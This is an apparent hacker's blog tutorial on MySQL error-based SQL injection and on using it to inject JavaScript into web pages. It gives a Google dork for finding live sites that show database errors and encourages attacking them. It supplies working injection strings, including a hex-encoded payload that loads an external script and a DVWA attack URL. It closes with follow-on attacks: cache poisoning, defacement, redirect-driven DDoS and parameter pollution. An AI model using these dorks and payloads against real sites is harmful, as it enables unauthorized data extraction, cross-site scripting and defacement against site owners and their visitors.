Injecting javascript via MySQL error based injection

I've written about this in a couple of other articles, but I needed it to be on my new blog because it makes a good attack especially when dealing with MySQL databases, because:

  • MySQL on *nix servers can be configured pretty well, making access to the database very difficult and therefore pwnage can be very difficult!!
  • You have the ability to extend MySQL Error based injection into other attacks that may not be viable on the web application like:
    • non-persistent XSS
    • Defacement of the site
    • HTTP parameter pollution
    • DDos (more on this in another post!!) ---using this web application to make requests to other servers at the expense of the person visiting the page

But because of MySQL Error based injection basically any Client (In some cases even Server) side attack can be performed because you have the ability to inject javascript in some cases, these cases exist when:
  • output from the database to the web application is unchecked or not cleaned from "html entities"
The reason I like this exploit is because it demonstrates the importance of defence in depth!

Before we begin, you need to know five things:
  • a little SQL (just make sure you can be more creative with this attack)
  • SQL injection
  • Error based injection
  • a little javascript
  • general HTML knowledge
Thought you will still be able to follow if you only know two or three of those, if you are genuinely interested in becoming a skilled hacker, I strongly advise that you read up on and practice those three things before attacking with this technique!

Locating down your target

One of the easiest ways to locate targets for web based attacks is to use Google, more specifically Google Dorking. So here's the break down of a dork I use (its not the only one out there, but it proves very simple and effective)
(inurl:.php?) | (inurl:".apsx?") | (inurl:".asp?") + (inurl:"=1") + (intext:"You have an error in your") | (intext:"Warning: mysql")
this one returns about +/-36,000 results

The breakdown

  • (inurl:."php?") --- Specifies that the target script displaying the error can be a php script
  • (inurl:".aspx?") --- Specifies ASP.NET scripts
  • (inurl:".asp?") --- Specifies ASP scripts
Either of these will satisfy the query because they are all joined using the OR operator, but if you wish to focus your attack on one kind of script you may omit them if you like, or if you want to for more script types you can do this aswell, python/vb/perl whatever! ;)

  •  (inurl:"=1") ---   this may limit the script a bit but it specifies that we want numerical data to be in the query string (because makes the injection easier in general) of the URL, you can try other numbers if you like 1 is just an example im using!
  • (intext:"You have an error in your") ---    The million dollar question! this makes sure we have an error dump in the page, specifically a MySQL error dump!
  • (intext:"Warning: mysql") ---    this is another error dump but this one refers to PHP errors generated by returns from database queries, I've added it because often MySQL error output is suppressed an PHP error output is not either way if any of these error reporting mechanisms are left running we will find them!
Keep in mind there are many many ways to improve this dork, I went for a simple but effective one, you could improve it in the following ways:
  1. Make the script type specification broader, by including more script extensions
  2. Target some CMSs,
  3. Find a better way to detect numerical arguments in query strings
  4. include more script error dumps --- i've only included PHP, there are many many more!!
  5. negate the inclusion of forums in the results list, sometimes people ask questions about error dumps generated by MySQL,PHP,etc by posting them in forums like stackoverflow, you would do well to negate some of these in the query using the NOT operator "^"
An issue with dorking this way:
  • We are only looking or error dumps, this does not guarantee that we will find exploitable error messages, this depends on whether we can perform the query that generated the error, but often times other queries in a web application will generate errors if you manage to find one that does!
Exploiting the target
Okay so we have our targets, how do we exploit them, well before i can get into that, you need to know something about MySQL and SQL (tolcha so!!)
What are we trying to achieve? 
  • we need to inject a specially crafted statement into an existing statement 
    • so that we can generate an error message
    • and control the content of the error message
The way we do this is with this very useful statement:
row(1,1) > (select count(*),concat([payload],floor(rand()*2))as x from (select 1 union select 2) as a group by x limit 0,1)
This generates an error containing the output of the SELECT function where payload goes, for example if we want to see the user of the database what we would injection is:
row(1,1) > (select count(*),concat(user(),0x3a,floor(rand()*2))as x from (select 1 union select 2) as a group by x limit 0,1)
which returns (if its part of a select statement!!) :
ERROR 1062 (23000): Duplicate entry 'kmakan@localhost:0' for key 'group_key'

bare in mind that on some hosts this may take one or two requests since we're using the 'rand()' function it may fail to cause an error sometimes, but all you do is run the query again and it will come around eventually!


You where saying something about Javascript injection?

Yes, yes the time has come for me to explain myself, well becaue we can control what the MySQL DBMS outputs to the page, we can basically put anything on the page we feel like, in some cases HTML or even Javascript. There are some issues that may stop this kind of attack:
  • If the output of the Database is successfully cleaned of HTML/javascript them its a no go for injection obviously
How this is done is my crafting a SELECT statement with encoded javascript into the payload section of the error based injection vector (see previous section), an example would be by injecting this statement:
row(1,1) > (select count(*),concat( (select cast( 0x3c736372697074207372633d27687474703a2f2f3132372e302e312e312f6861636b2e6a73273e3c2f7363726970743e as char ),0x3a,floor(rand()*2))as x from (select 1 union select 2) as a group by x limit 0,1)
The hex code  decodes to :
<script src='http://127.0.1.1/hack.js'></script>
If we run this query what we see is this:


ERROR 1062 (23000): Duplicate entry '<script src='http://127.0.1.1/hack.js'></script>:0' for key 'group_key'

As an even more realistic example, I can demonstrate his using DVWA (Damn vulnerable web app):
(this is extracted from my old blog shoutout to @0xerror)


The URL I used was:
http://127.0.1.1/vuln/dvwa/vulnerabilities/sqli/?id=0%20or%20row(1,1)%20%3E%20(select%20count(*),concat((select%20cast(0x3c7363726970743e616c65727428274841434b454427293b3c2f7363726970743e%20as%20char)),0x3a,floor(rand()*2))x%20from%20(select%201%20union%20select%202)a%20group%20by%20x%20limit%200,1)&Submit=Submit
which contains a verys similar injection to the one I discussed above, (decode it if you don't believe me! lols)
what happens is this...



Extending the Attack
So if you can inject javascipt/HTML, theres alot you can do:
  • Inject <meta http-equiv="Refresh"> tags
    • redirect back to the application and perform a splitting attack
      • by splitting we can cause web_cache_poisoning
        • by web_cache_poisoning we can orchestrate XSS attacks
        • Deface the site, with the cached version
    • DDoS-ing other applications by redirecting to them, using injected <meta> tags
  • Inject <a> tags, with polluted parameters
    • e.g be injecting this <a href='http://www.victim.com/vote.php?candidate=alice&candidate=bob'>vote for alice now!!</a>
Some other extensions my exist, I just pulled some off the top of my head. 
Happy injecting!!

Comments